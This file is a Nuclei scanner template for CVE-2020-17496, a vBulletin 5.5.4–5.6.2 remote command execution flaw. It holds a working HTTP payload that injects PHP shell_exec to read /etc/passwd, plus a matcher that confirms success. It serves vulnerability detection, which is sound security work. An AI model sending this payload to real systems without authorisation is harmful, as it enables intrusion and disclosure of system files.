nuclei-templates/http/cves/2020/CVE-2020-17496.yaml

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2.0 KiB
YAML

id: CVE-2020-17496
info:
name: vBulletin 5.5.4 - 5.6.2- Remote Command Execution
author: pussycat0x
severity: critical
description: 'vBulletin versions 5.5.4 through 5.6.2 allow remote command execution via crafted subWidgets data in an ajax/render/widget_tabbedcontainer_tab_panel request. NOTE: this issue exists because of an incomplete fix for CVE-2019-16759.'
impact: |
Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands on the target system.
remediation: |
Upgrade vBulletin to a version that is not affected by CVE-2020-17496.
reference:
- https://www.tenable.com/blog/zero-day-remote-code-execution-vulnerability-in-vbulletin-disclosed
- https://nvd.nist.gov/vuln/detail/CVE-2020-17496
- https://seclists.org/fulldisclosure/2020/Aug/5
- https://forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4445227-vbulletin-5-6-0-5-6-1-5-6-2-security-patch
- https://cwe.mitre.org/data/definitions/78.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-17496
cwe-id: CWE-74
epss-score: 0.97413
epss-percentile: 0.9992
cpe: cpe:2.3:a:vbulletin:vbulletin:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: vbulletin
product: vbulletin
tags: cve2020,cve,vbulletin,rce,kev,tenable,seclists
http:
- raw:
- |
POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo shell_exec('cat ../../../../../../../../../../../../etc/passwd'); exit;"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 490a00463044022077c8ca57d5061ea2c558cfe4cbfe00017ad434af6d97b598839e9a39ffa2efbd0220029e53a9bc137659ec3df64a6f638b943efae2e0f9cb61d1fff25babcc1f23b8:922c64590222798bb761d5b6d8e72950